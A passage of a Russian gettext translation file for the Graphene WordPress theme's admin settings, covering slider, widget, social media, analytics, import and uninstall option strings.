admin/options-display.php:498 msgid "Archive background gradient right colour" msgstr "Правый цвет градиента фона архива" #: admin/options-display.php:499 msgid "Archive label colour" msgstr "Цвет рубрики архива" #: admin/options-display.php:500 msgid "Archive text colour" msgstr "Цвет текста архива" #: admin/options-display.php:501 msgid "Archive label and text shadow colour" msgstr "Цвет тени рубрики и текста архива" #: admin/options-display.php:525 msgid "Text Style Options" msgstr "Настройки стиля" #: admin/options-display.php:528 msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used." msgstr "Внимание, это свойства CSS, поэтому может быть использован любой действительный CSS для каждого свойства." #: admin/options-display.php:529 msgid "Some example CSS properties values:" msgstr "Некоторые примеры значений CSS:" #: admin/options-display.php:532 msgid "Text font:" msgstr "Шрифт текста:" #: admin/options-display.php:536 msgid "Text size and line height:" msgstr "Размер текста и межстрочный интервал:" #: admin/options-display.php:540 msgid "Text weight:" msgstr "Жирность текста:" #: admin/options-display.php:544 msgid "Text style:" msgstr "Стиль текста:" #: admin/options-display.php:548 msgid "Text colour:" msgstr "Цвет текста:" #: admin/options-display.php:553 msgid "Header Text" msgstr "Заголовок" #: admin/options-display.php:557 msgid "Title text font" msgstr "Шрифт заголовка" #: admin/options-display.php:563 msgid "Title text size" msgstr "Размер текста рубрики" #: admin/options-display.php:569 msgid "Title text weight" msgstr "Жирность текста заголовка" #: admin/options-display.php:575 msgid "Title text line height" msgstr "Межстрочный интервал в заголовке" #: admin/options-display.php:581 msgid "Title text style" msgstr "Стиль текста заголовка" #: admin/options-display.php:590 msgid "Description text font" msgstr "Шрифт текста описания" #: admin/options-display.php:596 msgid "Description text size" msgstr "Размер текста описания" #: admin/options-display.php:602 msgid "Description text weight" msgstr "Жирность текста описания" #: admin/options-display.php:608 msgid "Description text line height" msgstr "Межстрочный интервал в описании" #: admin/options-display.php:614 msgid "Description text style" msgstr "Стиль текста описания" #: admin/options-display.php:620 msgid "Content Text" msgstr "Содержание" #: admin/options-display.php:624 msgid "Text font" msgstr "Шрифт текста" #: admin/options-display.php:630 msgid "Text size" msgstr "Размер текста" #: admin/options-display.php:636 msgid "Text line height" msgstr "Межстрочный интервал" #: admin/options-display.php:642 msgid "Text colour" msgstr "Цвет текста" #: admin/options-display.php:652 msgid "Link Text" msgstr "Текст ссылки" #: admin/options-display.php:656 msgid "Link colour (normal state )" msgstr "Цвет ссылки (непосещенное состояние)" #: admin/options-display.php:657 msgid "Link colour (visited state )" msgstr "Цвет ссылки (посещенное состояние)" #: admin/options-display.php:658 msgid "Link colour (hover state )" msgstr "Цвет ссылки (при наведении)" #: admin/options-display.php:675 msgid "Text decoration (normal state )" msgstr "Оформление текста (нормальное состояние)" #: admin/options-display.php:681 msgid "Text decoration (hover state )" msgstr "Оформление текста (при наведении)" #: admin/options-display.php:694 msgid "Footer Widget Display Options" msgstr "Параметры отображения нижнего виджета" #: admin/options-display.php:700 msgid "Number of columns to display" msgstr "Количество столбцов" #: admin/options-display.php:707 msgid "Number of columns to display for front page footer widget" msgstr "Количество столбцов для нижней панели виджетов на главной странице" #: admin/options-display.php:721 msgid "Navigation Menu Display Options" msgstr "Параметры меню навигации" #: admin/options-display.php:727 msgid "Dropdown menu item width" msgstr "Ширина выпадающего меню" #: admin/options-display.php:733 msgid "Disable description in Header Menu" msgstr "Удалить описания в заглавном меню" #: admin/options-display.php:741 msgid "Description for default menu \"Home\" item" msgstr "Описание для меню по умолчанию \"Домашняя страница\"" #: admin/options-display.php:757 msgid "Miscellaneous Display Options" msgstr "Различные варианты отображения" #: admin/options-display.php:760 msgid "Site title options" msgstr "Настройки названия сайта" #: admin/options-display.php:761 msgid "Use these tags to customise your own site title structure: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" msgstr "Используйте эти теги, чтобы настроить структуру названия сайта: <code>#site-name</code>, <code>#site-desc</code>, <code>#post-title</code>" #: admin/options-display.php:765 msgid "Custom front page site title" msgstr "Название сайта на главной странице пользователя" #: admin/options-display.php:769 msgid "Defaults to <code>#site-name » #site-desc</code>. The <code>#post-title</code> tag cannot be used here." msgstr "По умолчанию: <code>#site-name » #site-desc</code>. Тег <code>#post-title</code> не может быть тут использован." #: admin/options-display.php:774 msgid "Custom content pages site title" msgstr "Название сайта на страницах содержания" #: admin/options-display.php:778 msgid "Defaults to <code>#post-title » #site-name</code>." msgstr "По умолчанию:<code>#post-title » #site-name</code>." #: admin/options-display.php:783 msgid "Favicon options" msgstr "Настройки фавикон" #: admin/options-display.php:787 msgid "Favicon URL" msgstr "URL фавикона" #: admin/options-display.php:791 #: admin/options-general.php:98 msgid "Upload or select image from gallery" msgstr "Выбирайте картину из галереи или загружайте новую" #: admin/options-display.php:791 msgid "Simply enter the full URL to your favicon file here to enable favicon. Make sure you include the <code>http://</code> in front of the URL as well. Or use the WordPress media uploader to upload an image, or select one from the media library." msgstr "Просто введите полный URL для файла фавикон, чтобы активировать фавикон. Убедитесь, что вы перед URL также ввели <code>http://</code>. Также можно загрузить изображение с помощью скрипта загрузки WordPress, или выбрать одно в библиотеке медиафайлов." #: admin/options-display.php:796 msgid "WordPress Editor options" msgstr "Настройки для редактора WordPress" #: admin/options-display.php:800 msgid "Disable custom editor styles" msgstr "Выключить форматирование окна редактора" #: admin/options-display.php:813 msgid "Custom CSS" msgstr "Специальны CSS" #: admin/options-display.php:818 msgid "Custom CSS styles" msgstr "Специальные стили CSS" #: admin/options-display.php:820 msgid "You can enter your own CSS codes below to modify any other aspects of the theme's appearance that is not included in the options." msgstr "Ниже вы можете ввести свой собственный код CSS, чтобы изменить другие настройки внешнего вида, которые не включены в настройки." #: admin/options-general.php:12 msgid "Slider Options" msgstr "Параметры слайдера" #: admin/options-general.php:18 msgid "Disable slider" msgstr "Отключить слайдер" #: admin/options-general.php:26 msgid "What do you want to show in the slider" msgstr "Что Вы хотите показывать в слайдере" #: admin/options-general.php:30 msgid "Show latest posts" msgstr "Показывать последние сообщения" #: admin/options-general.php:33 msgid "Show random posts" msgstr "Показывать случайные сообщения" #: admin/options-general.php:36 msgid "Show specific posts/pages" msgstr "Показать избранные сообщения/страницы" #: admin/options-general.php:39 msgid "Show posts from categories" msgstr "Показывать сообщеня из определенных категорий" #: admin/options-general.php:44 #: admin/options-general.php:258 msgid "Posts and/or pages to display" msgstr "Сообщения и/или страницы для отображения" #: admin/options-general.php:49 #: admin/options-general.php:263 msgid "Enter ID of posts and/or pages to be displayed, separated by comma. Example: <code>1,13,45,33</code>" msgstr "Введите ID сообщения и/или страницы для отображения, через запятую. Пример:<code>1,13,45,33</code>" #: admin/options-general.php:50 msgid "Applicable only if <strong>Show specific posts/pages</strong> is selected above." msgstr "Можно применить только если выше выбрано <strong>Показывать избранные сообщения/страницы</strong>" #: admin/options-general.php:56 msgid "Categories to display" msgstr "Категории для отображения" #: admin/options-general.php:57 msgid "All posts within the categories selected here will be displayed on the slider. Usage example: create a new category \"Featured\" and assign all posts to be displayed on the slider to that category, and then select that category here." msgstr "Все сообщения выбранных категорий будут отображаться на слайдере. Пример: создайте новую катекорию \"Отмеченные\" и укажите эту категорию на всех сообщениях, которые должны быть отображены на слайдере. Затем выберите эту категорию здесь." #: admin/options-general.php:73 msgid "Number of posts to display" msgstr "Число отображаемых сообщений" #: admin/options-general.php:104 msgid "Slider display style" msgstr "Стиль отображения слайдера" #: admin/options-general.php:108 msgid "Thumbnail and excerpt" msgstr "Эскиз и выдержка" #: admin/options-general.php:109 msgid "Background image and excerpt" msgstr "Фоновое изображение и выдержка" #: admin/options-general.php:110 msgid "Full post content" msgstr "Полное содержание сообщения" #: admin/options-general.php:116 msgid "Slider animation" msgstr "Способ перехода слайдера" #: admin/options-general.php:121 msgid "Horizontal slide" msgstr "Горизонтальное скольжение" #: admin/options-general.php:122 msgid "Vertical slide" msgstr "Вертикальное скольжение" #: admin/options-general.php:123 msgid "Fade" msgstr "Наплыв" #: admin/options-general.php:124 msgid "No effect" msgstr "Смена без эффекта" #: admin/options-general.php:130 msgid "Slider height" msgstr "Высота слайдера" #: admin/options-general.php:138 msgid "Slider speed" msgstr "Скорость слайдера" #: admin/options-general.php:141 #: admin/options-general.php:150 msgid "milliseconds" msgstr "миллисекунды" #: admin/options-general.php:142 msgid "This is the duration that each slider item will be shown" msgstr "Это продолжительность отображения каждого предмета в слайдере" #: admin/options-general.php:147 msgid "Slider transition speed" msgstr "Скорость перехода слайдера" #: admin/options-general.php:151 msgid "This is the speed of the slider transition. Lower values = higher speed." msgstr "Это скорость перехода слайдера. Меньше значение = более быстрый переход." #: admin/options-general.php:156 msgid "Move slider to bottom of page" msgstr "Переместить слайдер на низ старницы" #: admin/options-general.php:169 msgid "Front Page Options" msgstr "Параметры главной страницы" #: admin/options-general.php:175 msgid "Front page posts categories" msgstr "Категории для отображения сообщений на главной странице" #: admin/options-general.php:177 msgid "Only posts that belong to the categories selected here will be displayed on the front page. Does not affect Static Front Page." msgstr "На главной странице будут показаны только сообщения, которые входят в категории, выбранные тут. Не влияет на статическую главную страницу." #: admin/options-general.php:182 msgid "--Disabled--" msgstr "--Выключено (без фильтра)--" #: admin/options-general.php:190 msgid "You may select multiple categories by holding down the CTRL key." msgstr "Можно выбрать несколько категорий, нажимая на клавишу CTRL." #: admin/options-general.php:202 msgid "Homepage Panes" msgstr "Панель домашней страницы" #: admin/options-general.php:209 msgid "Disable homepage panes" msgstr "Отключить панель домашней страницы" #: admin/options-general.php:219 msgid "Type of content to show" msgstr "Тип отображаемого содержимого" #: admin/options-general.php:226 msgid "Latest posts by category" msgstr "Последние сообщения по категориям" #: admin/options-general.php:229 msgid "Posts and/or pages" msgstr "Сообщения и/или страницы" #: admin/options-general.php:234 msgid "Number of latest posts to display" msgstr "Количество последних отображаемых сообщений" #: admin/options-general.php:238 msgid "Applicable only if <strong>Latest posts</strong> or <strong>Latest posts by category</strong> is selected above." msgstr "Возможно применить только, если выше выбрано <strong>Последние сообщения</strong> или <strong>Последние сообщения по категориям</strong>." #: admin/options-general.php:243 msgid "Category to show latest posts from" msgstr "Категория последних отображаемых сообщений" #: admin/options-general.php:253 msgid "Applicable only if <strong>Latest posts by category</strong> is selected above." msgstr "Возможно применить только, если выше выбрано <strong>Последние сообщения по категориям</strong>." #: admin/options-general.php:264 msgid "Applicable only if <strong>Posts and/or pages</strong> is selected above." msgstr "Возможно применить только, если выше выбрано <strong>Сообщения и/или страницы</strong>." #: admin/options-general.php:270 msgid "<strong>Note:</strong> homepage panes are only displayed when using a <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">static front page</a>." msgstr "<strong>Внимание:</strong>панель домашней страницы отображается только в том случае, когда используется <a href=\"http://codex.wordpress.org/Creating_a_Static_Front_Page\">статическая главная страница</a>" #: admin/options-general.php:280 msgid "Comments Options" msgstr "Параметры комментариев" #: admin/options-general.php:286 msgid "Commenting" msgstr "Комментарии" #: admin/options-general.php:290 msgid "Use WordPress settings" msgstr "Использовать настройки WordPress" #: admin/options-general.php:291 msgid "Disabled for pages" msgstr "Отменить для страниц" #: admin/options-general.php:292 msgid "Disabled completely" msgstr "Полностью выключены" #: admin/options-general.php:294 msgid "Note: this setting overrides the global WordPress Discussion Setting called \"Allow people to post comments on new articles\" and also the \"Allow comments\" option for individual posts/pages." msgstr "Внимание: Эти настройки отменяют глобальные настройки обсуждения для Wordpress \"Разрешить оставлять комментарии для новых статей\" а также настройки для личных сообщений/страниц \"Разрешить комментировать\"." #: admin/options-general.php:306 msgid "Child Page Options" msgstr "Параметры дочерней страницы" #: admin/options-general.php:312 msgid "Hide parent box if content is empty" msgstr "Скрыть вышестоящее содержание, если нет содержимого" #: admin/options-general.php:318 msgid "Child page listings" msgstr "Список дочерних страниц" #: admin/options-general.php:322 msgid "Show listing" msgstr "Отображать список" #: admin/options-general.php:323 msgid "Hide listing" msgstr "Скрыть список" #: admin/options-general.php:324 msgid "Only show listing if parent content is empty" msgstr "Показывать список, если общее содержание пустое" #: admin/options-general.php:337 msgid "Widget Area Options" msgstr "Параметры панели для виджетов" #: admin/options-general.php:340 msgid "Header widget area" msgstr "Скрыть панель для виджетов" #: admin/options-general.php:341 msgid "<strong>Important:</strong> This widget area is unstyled, as it is often used for advertisement banners, etc. If you enable it, make sure you style it to your needs using the Custom CSS option." msgstr "<strong>Важно:</strong> у этой панели для виджетов нет стиля, так как она часто используется для рекламных баннеров и т.п. Если Вы активируете ее, убедитесь, что Вы настроили стиль в соответствии с вашими нуждами, используя пользовательские настройки CSS." #: admin/options-general.php:345 msgid "Enable header widget area" msgstr "Активировать заглавную панель для виджетов" #: admin/options-general.php:354 msgid "Alternate Widgets" msgstr "Альтернативные виджеты" #: admin/options-general.php:355 msgid "You can enable the theme to show different widget areas in the front page than the rest of the website. If you enable this option, additional widget areas that will only be displayed on the front page will be added to the Widget settings page." msgstr "В отличие от других сайтов, Вы можете активировать показ различных панелей для виджетов на главной странице. Если вы активируете эту опцию, в папку Настройки виджетов появятся дополнительные панели для виджетов, которые будет отображаться только на главной странице." #: admin/options-general.php:358 msgid "Enable alternate front page sidebar widget area" msgstr "Активировать альтернативную боковую панель для виджетов на главной странице" #: admin/options-general.php:362 msgid "Enable alternate front page footer widget area" msgstr "Активировать альтернативную нижнюю панель для виджетов на главной странице" #: admin/options-general.php:363 msgid "You can also specify different column counts for the front page footer widget and the rest-of-site footer widget if you enable this option." msgstr "Вы также можете определить специальное число столбцов для нижнего колонтитула области виджетов главной страницы,если активируете эту функцию." #: admin/options-general.php:376 msgid "Top Bar Options" msgstr "Опции верхней панели" #: admin/options-general.php:382 msgid "Hide the top bar" msgstr "Спрятать верхнюю панель" #: admin/options-general.php:390 msgid "Hide feed icon" msgstr "Скрыть иконку веб-канала" #: admin/options-general.php:394 msgid "Use custom feed URL" msgstr "Использовать специальный URL для канала" #: admin/options-general.php:397 msgid "This custom feed URL will replace the default WordPress RSS feed URL." msgstr "Данный специальный URL потока заменит стандартный по WordPress URL потока." #: admin/options-general.php:401 msgid "Open social media links in new window" msgstr "Открывать ссылки на социальные сети в новом окне" #: admin/options-general.php:405 msgid "Twitter URL" msgstr "URL Twitter" #: admin/options-general.php:408 msgid "Enter the URL to your Twitter page." msgstr "Введите URL для вашей страницы на Twitter." #: admin/options-general.php:412 msgid "Facebook URL" msgstr "URL Facebook" #: admin/options-general.php:415 msgid "Enter the URL to your Facebook profile page." msgstr "Введите URL для страницы профиля на Facebook." #. translators: %s will be replaced by the social media service name. Example: LinkedIn Title #: admin/options-general.php:426 #, php-format msgid "%s Title" msgstr "%s Рубрика" #: admin/options-general.php:431 #, php-format msgid "The title is empty and the following title will be shown: <strong>%s</strong>" msgstr "Т.к. рубрика пустая, система будет показывать следующее: <strong>%s</strong>" #. translators: %s will be replaced by the social media service name. Example: LinkedIn URL #: admin/options-general.php:437 #, php-format msgid "%s URL" msgstr "URL для %s" #. translators: %s will be replaced by the social media service name. Example: LinkedIn icon URL #: admin/options-general.php:442 #, php-format msgid "%s icon URL" msgstr "URL иконки на %s" #: admin/options-general.php:445 msgid "Delete" msgstr "Удалить" #: admin/options-general.php:453 msgid "Add new social media icon" msgstr "Добавить новую иконку социальных сетей" #: admin/options-general.php:465 msgid "Social Sharing Buttons" msgstr "Кнопка социального обмена" #: admin/options-general.php:470 msgid "Show social sharing button" msgstr "Показать кнопку социального обмена" #: admin/options-general.php:476 msgid "Show in Pages as well?" msgstr "Показывать также на страницах?" #: admin/options-general.php:480 msgid "Social sharing buttons location" msgstr "Положение кнопки социального обмена" #: admin/options-general.php:483 msgid "Bottom of posts" msgstr "Конец сообщения" #: admin/options-general.php:484 msgid "Top of posts" msgstr "Начало сообщения" #: admin/options-general.php:485 msgid "Both top and bottom" msgstr "Начало и конец" #: admin/options-general.php:491 msgid "Your social sharing button code" msgstr "Код вашей кнопки социального обмена" #: admin/options-general.php:492 msgid "You can use codes from any popular social sharing sites, like Facebook, Digg, AddThis, etc." msgstr "Вы можете использовать коды других популярных социальных сетей, таких как Facebook, Digg, AddThis, и т.д." #: admin/options-general.php:495 msgid "You may use these tags to get the post's URL, title, and excerpt:" msgstr "Вы можете использовать эти теги, чтобы получить URL, название и выдержку сообщения:" #: admin/options-general.php:507 msgid "Adsense Options" msgstr "Настройки для Adsense" #: admin/options-general.php:513 msgid "Show Adsense advertising" msgstr "Показывать рекламу Adsense" #: admin/options-general.php:521 msgid "Show ads on front page as well" msgstr "Также показывать рекламу на главной странице" #: admin/options-general.php:527 msgid "Your Adsense code" msgstr "Ваш код для Adsense" #: admin/options-general.php:540 msgid "Google Analytics Options" msgstr "Настройки Google Analytics" #: admin/options-general.php:545 msgid "Enable Google Analytics tracking" msgstr "Активировать отслеживание Google Analytics" #: admin/options-general.php:552 msgid "<strong>Note:</strong> the theme now places the Google Analytics script in the <code><head></code> element to better support the new asynchronous Google Analytics script. Please make sure you update your script to use the new asynchronous script from Google Analytics." msgstr "<strong>Внимание:</strong>скрипт Google Analytics размещен в <code><head></code>-элементе, для лучшей поддержки нового асинхронного скрипта Google Analytics. Пожалуйста, убедитесь,что вы обновили скрипт для того, чтобы использовать новый асинхронный скрипт от Google Analytics." #: admin/options-general.php:556 msgid "Google Analytics tracking code" msgstr "Код отслеживания Google Analytics" #: admin/options-general.php:557 msgid "Make sure you include the full tracking code (including the <code><script></code> and <code></script></code> tags) and not just the <code>UA-#######-#</code> code." msgstr "Убедитесь,что вы вставили полный код отслеживания (включая теги <code><script></code> и <code></script></code>) а не только код <code>UA-#######-#</code>." #: admin/options-general.php:570 msgid "Footer Options" msgstr "Параметры нижнего колонтитула" #: admin/options-general.php:575 msgid "Use Creative Commons licence for content" msgstr "Использовать лицензия Creative Commons для содержимого" #: admin/options-general.php:580 msgid "Copyright text (html allowed)" msgstr "Авторские права (HTML разрешен)" #: admin/options-general.php:581 msgid "If this field is empty, the following default copyright text will be displayed:" msgstr "Если это поле пустое, будут отображаться следующие авторские права по умолчанию:" #: admin/options-general.php:587 msgid "Do not show copyright info" msgstr "Не показывать авторские права" #: admin/options-general.php:591 msgid "Do not show the \"Return to top\" link" msgstr "Не показывать линк \"Вернуться к началу\"" #: admin/options-general.php:603 msgid "Print Options" msgstr "Параметры печати" #: admin/options-general.php:608 msgid "Enable print CSS for single posts and pages?" msgstr "Активировать формат печати, print.css для отдельных сообщений и страниц?" #: admin/options-general.php:614 msgid "Show print button" msgstr "Показывать кнопку печати" #: admin/options-import.php:38 #: admin/options-import.php:169 #: admin/options-presets.php:48 #: admin/uninstall.php:32 msgid "ERROR: You are not authorised to perform that operation" msgstr "ОШИБКА: Вы не авторизованы для выполнения данной операции" #: admin/options-import.php:59 msgid "Before you can upload your import file, you will need to fix the following error:" msgstr "До того, как сможете загрузить файл для импорта, необходимо исправить следующее:" #: admin/options-import.php:65 #: admin/options-import.php:98 msgid "Import Graphene Theme Options" msgstr "Импортировать параметры темы Graphene" #: admin/options-import.php:67 msgid "<strong>Note:</strong> This is an experimental feature. Please report any problem at the <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Support Forum</a>." msgstr "<strong>Внимание:</strong> Это экспериментальная функция. Пожалуйста, сообщите о возникших ошибках в разделе <a href=\"http://forum.khairul-syahir.com/forum/bug-report\">Форум Поддержки</a>." #: admin/options-import.php:69 msgid "Choose a file from your computer:" msgstr "Выберите файл на вашем компьютере:" #: admin/options-import.php:69 #, php-format msgid "Maximum size: %s" msgstr "Максимальный размер: %s" #: admin/options-import.php:76 msgid "Upload file and import" msgstr "Загрузить файл и мипортировать" #: admin/options-import.php:141 msgid "Options import completed" msgstr "Импорт параметров завершен" #: admin/options-import.php:142 msgid "Go to the Graphene options page" msgstr "Перейти на страницу настроек темы Graphene" #: admin/options-import.php:145 #: admin/options-import.php:150 #: admin/options-import.php:155 msgid "Sorry, there has been an error." msgstr "Извините, произошла ошибка." #: admin/options-import.php:146 msgid "The uploaded file does not contain valid Graphene options." msgstr "Загруженный файл не содержит допустимых параметров Graphene." #: admin/options-import.php:151 msgid "The uploaded file could not be read." msgstr "Невозможно прочитать загруженный файл." #: admin/options-import.php:156 msgid "The uploaded file is not supported." msgstr "Тип загружаемого файла не поддерживается." #: admin/options-import.php:164 msgid "File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini." msgstr "Файл пуст. Пожалуйста, загрузите другой файл. Эта ошибка могла быть также вызвана запретом загрузок в файле php.ini или если в файле php.ini значение post_max_size - меньше, чем upload_max_filesize." #: admin/options-init.php:34 msgid "Graphene Options" msgstr "Параметры Graphene" #: admin/options-init.php:35 msgid "Graphene FAQs" msgstr "Часто задаваемые вопросы по Graphene" #: admin/options-init.php:85 msgid "Toggle all options boxes" msgstr "Переключить все окна настроек" #: admin/options-init.php:127 msgid "Template preview not found." msgstr "Предварительный просмотр шаблона не найден." #: admin/options-init.php:130 msgid "default" msgstr "По умолчанию" #: admin/options-init.php:186 #: admin/options-init.php:190 msgid "Theme default" msgstr "Стандартное для темы" #: admin/options-presets.php:36 msgid "The \"Normal website\" settings preset has been applied." msgstr "Типовые настройки \"Обычный сайт\" внесены." #: admin/options-presets.php:41 msgid "Settings have been reset." msgstr "Настройки были сброшены." #: admin/options-validator.php:24 msgid "ERROR: Invalid category to show in slider." msgstr "ОШИБКА: Недопустимая категория для показа в слайдере." #: admin/options-validator.php:27 msgid "ERROR: You must specify the posts/pages to be displayed when you have \"Show specific posts/pages\" selected for the slider." msgstr "ОШИБКА: Вы должны указать сообщения/страницы, которые будут отображаться, когда для категории слайдера у вас выбрано \"Показывать определенные сообщения/страницы\"." #: admin/options-validator.php:30 msgid "ERROR: You must have selected at least one category when you have \"Show posts from categories\" selected for the slider." msgstr "ОШИБКА: Вы должны выбрать хотя бы одну категорию, когда для слайдера у вас выбрано \"Показывать сообщения из определенной категории\"." #: admin/options-validator.php:40 msgid "ERROR: Invalid category selected for the slider categories." msgstr "ОШИБКА: Недопустимая категория для показа в слайдере." #: admin/options-validator.php:46 msgid "ERROR: The number of posts to displayed in the slider must be a an integer value." msgstr "ОШИБКА: Количество отображаемых сообщений в слайдере должно быть целым числом." #: admin/options-validator.php:49 msgid "ERROR: Invalid option for the slider image is specified." msgstr "ОШИБКА: Указаны недопустимые параметры для изображения слайдера." #: admin/options-validator.php:51 msgid "ERROR: Bad URL entered for the custom slider image URL." msgstr "ОШИБКА: Введен неверный URL для специального URL изображения слайдера." #: admin/options-validator.php:53 msgid "ERROR: Invalid option for the slider display style is specified." msgstr "ОШИБКА: Указаны недопустимые параметры для стиля показа слайдера." #: admin/options-validator.php:55 msgid "ERROR: The value for slider height must be an integer." msgstr "ОШИБКА: Значение высоты слайдера должно быть целым числом." #: admin/options-validator.php:57 msgid "ERROR: The value for slider speed must be an integer." msgstr "ОШИБКА: Значение скорости слайдера должно быть целым числом." #: admin/options-validator.php:59 msgid "ERROR: The value for slider transition speed must be an integer." msgstr "ОШИБКА: Значение скорости perexoda слайдера должно быть целым числом." #: admin/options-validator.php:61 msgid "ERROR: Invalid slider animation." msgstr "ОШИБКА: Указаны неверный способ перехода картины для слайдера." #: admin/options-validator.php:75 msgid "ERROR: Invalid category selected for the front page posts categories." msgstr "ОШИБКА: Выбрана нелопустимая категория для показа последних сообщений на главной странице." #: admin/options-validator.php:86 msgid "ERROR: Invalid option for the type of content to show in homepage panes." msgstr "ОШИБКА: Недопустимые параметры для типов отображения содержимого на главной странице" #: admin/options-validator.php:88 msgid "ERROR: The value for the number of latest posts to display in homepage panes must be an integer." msgstr "ОШИБКА: Значение последних сообщений, отображаемых на главной странице, должно быть целым числом." #: admin/options-validator.php:93 msgid "ERROR: Invalid category selected for the latest posts to show from in the homepage panes." msgstr "ОШИБКА: Выбрана нелопустимая категория для показа последних сообщений на главной странице." #: admin/options-validator.php:107 msgid "ERROR: Invalid option for the comments option." msgstr "ОШИБКА: Недопустимые параметры для комментариев" #: admin/options-validator.php:116 msgid "ERROR: Invalid option for the child page listings." msgstr "ОШИБКА: Недопустимые параметры списков дочерных страниц." #: admin/options-validator.php:134 msgid "ERROR: Bad URL entered for the custom feed URL." msgstr "ОШИБКА: Указан неверный URL в качестве специального URL потока." #: admin/options-validator.php:138 msgid "ERROR: Bad URL entered for the Twitter URL." msgstr "ОШИБКА: Указан неверный URL для Twitter URL." #: admin/options-validator.php:140 msgid "ERROR: Bad URL entered for the Facebook URL." msgstr "ОШИБКА: Указан неверный URL для Facebook URL." #: admin/options-validator.php:152 msgid "ERROR: Bad URL entered for the social media icon URL." msgstr "ОШИБКА: Указан неверный URL для иконки социальных сетей." #: admin/options-validator.php:153 msgid "ERROR: Bad URL entered for the social media URL." msgstr "ОШИБКА: Указан неверный URL для социальных сетей." #: admin/options-validator.php:169 msgid "ERROR: Invalid option for the social sharing buttons location." msgstr "ОШИБКА: Недопустимые параметры для размещения кнопки социальных сетей." #: admin/options-validator.php:229 msgid "ERROR: Invalid option for the Search box location." msgstr "ОШИБКА: Недопустимые параметры для размещения Search box." #: admin/options-validator.php:234 msgid "ERROR: Invalid option for the column mode." msgstr "ОШИБКА: Недопустимые параметры для реюима столбцов." #: admin/options-validator.php:235 msgid "ERROR: Invalid option for the bbPress column mode." msgstr "ОШИБКА: Недопустимые параметры реюима столбцов для bbPress" #: admin/options-validator.php:242 #, php-format msgid "ERROR: Invalid width for %s. Width value must be positive number without units." msgstr "ОШИБКА: Указана неверная ширина для %s. Требуется цельное число, без указания единицы." #: admin/options-validator.php:250 msgid "ERROR: Invalid option for the post date display." msgstr "ОШИБКА: Недопустимые параметры для отображения даты сообщения." #: admin/options-validator.php:316 msgid "ERROR: The number of columns to be displayed in the footer widget must be a an integer value." msgstr "ОШИБКА: Количество отображаемых столбцов должно быть целым числом." #: admin/options-validator.php:321 msgid "ERROR: The width of the submenu must be a an integer value." msgstr "ОШИБКА: Ширина субменю должна быть целым числом." #: admin/options-validator.php:329 msgid "ERROR: Bad URL entered for the favicon URL." msgstr "ОШИБКА: Указан неверный URL для фавикон." #: admin/options-validator.php:344 msgid "ERROR: Invalid action hook selected widget action hooks." msgstr "ОШИБКА: Неверная точка действия указана для динамической панели виджетов." #: admin/options.php:81 #: admin/uninstall.php:23 msgid "Uninstall Graphene" msgstr "Деинсталировать тему Graphene" #: admin/options.php:82 msgid "Please confirm that you would like to uninstall the Graphene theme. All of the theme's options in the database will be deleted." msgstr "Пожалуйста, подтвердите, что хотите деинсталировать тему Graphene. Все настройки темы будут удалены." #: admin/options.php:83 msgid "This action is not reversible." msgstr "Если это сделать, то невозможно вернуться назад к прежнему состоянию." #: admin/options.php:87 #: admin/options.php:339 msgid "Uninstall Theme" msgstr "Деинсталировать тему" #: admin/options.php:101 msgid "Graphene Theme Options" msgstr "Параметры темы Graphene" #: admin/options.php:103 msgid "These are the global settings for the theme. You may override some of the settings in individual posts and pages." msgstr "Это настройки для темы в целом. Можно указать отличающие отдельные настройки для конкретных сообщений и страниц." #: admin/options.php:111 msgid "General" msgstr "Общее" #: admin/options.php:112 msgid "Display" msgstr "Параметры отображения" #: admin/options.php:113 msgid "Advanced" msgstr "Для продвинутого" #: admin/options.php:152 msgid "Save Options" msgstr "Сохранить параметры" #: admin/options.php:164 msgid "Need help?" msgstr "Нужна помощъ?" #: admin/options.php:168 msgid "Documentation Wiki" msgstr "Wiki документации" #: admin/options.php:169 msgid "Support Forum" msgstr "Форум поддержки" #: admin/options.php:171 #, php-format msgid "Also, find out how you can %s." msgstr "Также, узнавайте, как Вы можете %s." #: admin/options.php:171 msgid "support the Graphene theme" msgstr "поддерживать тему Graphene" #: admin/options.php:178 msgid "Support the developer" msgstr "Поддержка разработчику" #: admin/options.php:181 msgid "Developing this awesome theme took a lot of effort and time, months and months of continuous voluntary unpaid work. If you like this theme or if you are using it for commercial websites, please consider a donation to the developer to help support future updates and development." msgstr "Чтобы разработать эту тему потребовалось много усилий и времени- месяцы добровольной, продолжительной и неоплачиваемой работы. Если вам нравится эта тема или вы используете её для коммерческих сайтов, пожалуйста, подумайте о возможности финансовой помощи для дальнейшего улучшения и развития." #: admin/options.php:195 msgid "Graphene Theme news" msgstr "Новости темы \"Graphene\"" #: admin/options.php:206 msgid "No news items." msgstr "Нет новостей." #: admin/options.php:223 msgid "Graphene Usage Survey" msgstr "Опрос по использованию Graphene" #: admin/options.php:226 msgid "Help us to get to know you better. Take the Graphene theme usage survey now! Every opinion counts towards making the theme better. The survey is very short, and is completely anonymous." msgstr "Помогите нам узнать вас лучше. Примите участие в опросе по использованию темы Graphene! Для нас важно мнение каждого, чтобы мы могли улучшить тему. Опрос очень короткий и полностью анонимный. (Опросник на английском)" #: admin/options.php:227 msgid "Take the survey" msgstr "Заполняй анкету" #: admin/options.php:237 msgid "Add-ons and plugins" msgstr "Дополнительные компоненты и плагины" #: admin/options.php:240 msgid "Add-ons" msgstr "Дополнительные компоненты" #: admin/options.php:241 msgid "Add-ons are not shipped with the theme, but can be installed separately to extend the theme's capability." msgstr "Дополнительные компоненты не входят в тему, но их можно установить отдельно, чтобы расширить возможности темы." #: admin/options.php:245 msgid "Installed" msgstr "Установлено" #: admin/options.php:246 #: admin/options.php:265 msgid "Not installed" msgstr "Не установлено" #: admin/options.php:246 msgid "Learn more" msgstr "Узнать больше" #: admin/options.php:247 msgid "Mobile extension developed specifically for optimised display of your site on mobile devices, such as iPhone and Android devices." msgstr "Мобильное расширение, разработанное специально для оптимального показа Вашего сайта на мобильних устройствах, как iPhone, Android и др." #: admin/options.php:250 msgid "Plugins" msgstr "Плагины" #: admin/options.php:251 msgid "The plugins listed here are natively supported by the theme. All you need to do is install the plugins and activate them." msgstr "Перечисленные здесь плагины изначально поддерживаются темой.Вам лишь необходимо установить их и активировать." #: admin/options.php:264 msgid "Activated" msgstr 